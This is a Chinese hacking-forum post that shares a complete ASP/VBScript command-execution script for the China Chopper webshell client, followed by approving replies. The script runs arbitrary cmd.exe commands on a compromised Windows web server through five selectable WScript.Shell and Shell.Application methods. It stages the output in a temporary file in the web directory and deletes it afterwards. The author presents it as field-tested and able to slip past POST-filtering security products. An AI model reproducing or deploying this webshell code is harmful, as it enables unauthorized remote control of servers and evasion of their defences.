多组建CMD执行菜刀脚本 CMD.CCC

本帖最后由 uncia 于 2016-3-30 05:17 编辑

首发:www.90sec.org
Author:CunZhang
Site:http://谷姐.com
昨天看着有人以前发了很多菜刀脚本,不过测试后,有些CCC脚本不成功,唉。发个自己从大马里面提取修改后的CMD多组建脚本吧

on error resume next
'------------------------------------------------------------------
cmdpath="c:\windows\system32\cmd.exe"     'CMD路径
defcmd="set"                              'CMD命令
rwpath=server.mappath(".")                'CMD信息返回路径,必须可读可写,此处为WEB目录
cmdtype=0                                 'CMD命令执行类型 0-wscript  1-wscript .shell  2-wscript .shell.1  3-shell .application  4-shell .application.1

'------------------------------------------------------------------
set fso=server.createobject("scripting.filesystemobject")
sztempfile = rwpath&"\cmd.txt"
select case cmdtype
case "0"
cmdtypes="wscrip" & "t.shell"
case "1"
cmdtypes="wscrip" & "t.shell"
case "2"
cmdtypes="wscrip" & "t.shell.1"
case "3"
cmdtypes="shell" & ".application"
case "4"
cmdtypes="shell" & ".application.1"
end select
select case cmdtype
case "0"
set cm=server.createobject(cmdtypes)
set dd=cm.exec(cmdpath&" /c "&defcmd)
aaa=dd.stdout.readall
si=si&aaa
case "1","2"
on error resume next
set ws=server.createobject(cmdtypes)
call ws.run (cmdpath&" /c " & defcmd & " > " & sztempfile, 0, true)
set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0)
aaa=server.htmlencode(ofilelcx.readall)
ofilelcx.close
call fso.deletefile(sztempfile, true)
si=si&aaa
case "3","4"
set seshell=server.createobject(cmdtypes)
seshell.ShellExecute cmdpath," /c " & defcmd & " > " & sztempfile,"","open",0
on error resume next
if fso.fileexists(sztempfile)=true then
set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0)
ss=ofilelcx.readall
response.write ss
ofilelcx.close
call fso.deletefile(sztempfile, true)
else
response.write "重新执行试试"
end if
if err then response.write "重新执行试试"
end select
response.write si

保存上面的代码cmd.ccc,然后菜刀加载执行吧

应该看得懂的,有5种CMD执行方式,修改为对应的0,1,2,3,4 ,用此脚本可以避免一流之类的POST拦截,经过实战演练的,可行,发出来大家使用

CMD.CCC下载:
cmd.ccc.rar
还是不会的下载下面的使用方法:
使用.rar

修改文章被拦截了
QQ截图20120207092846.jpg

**回复 2# CunZhang **

0k 解决了

不错不错,建议加分

灰常不错,可以加分啊。

**回复 3# 落叶 **

给点动力呗,不要打击我发帖的激情^o^

谢谢楼主,加分!!!!!!!

不错,这个相当给力啊

给力.先拿东西后顶...

楼主是好淫{:4_49:}

好东西,支持下~

不过post```````

菜刀越来越强大了。话说这个脚本确实不错。感谢分享{:4_53:}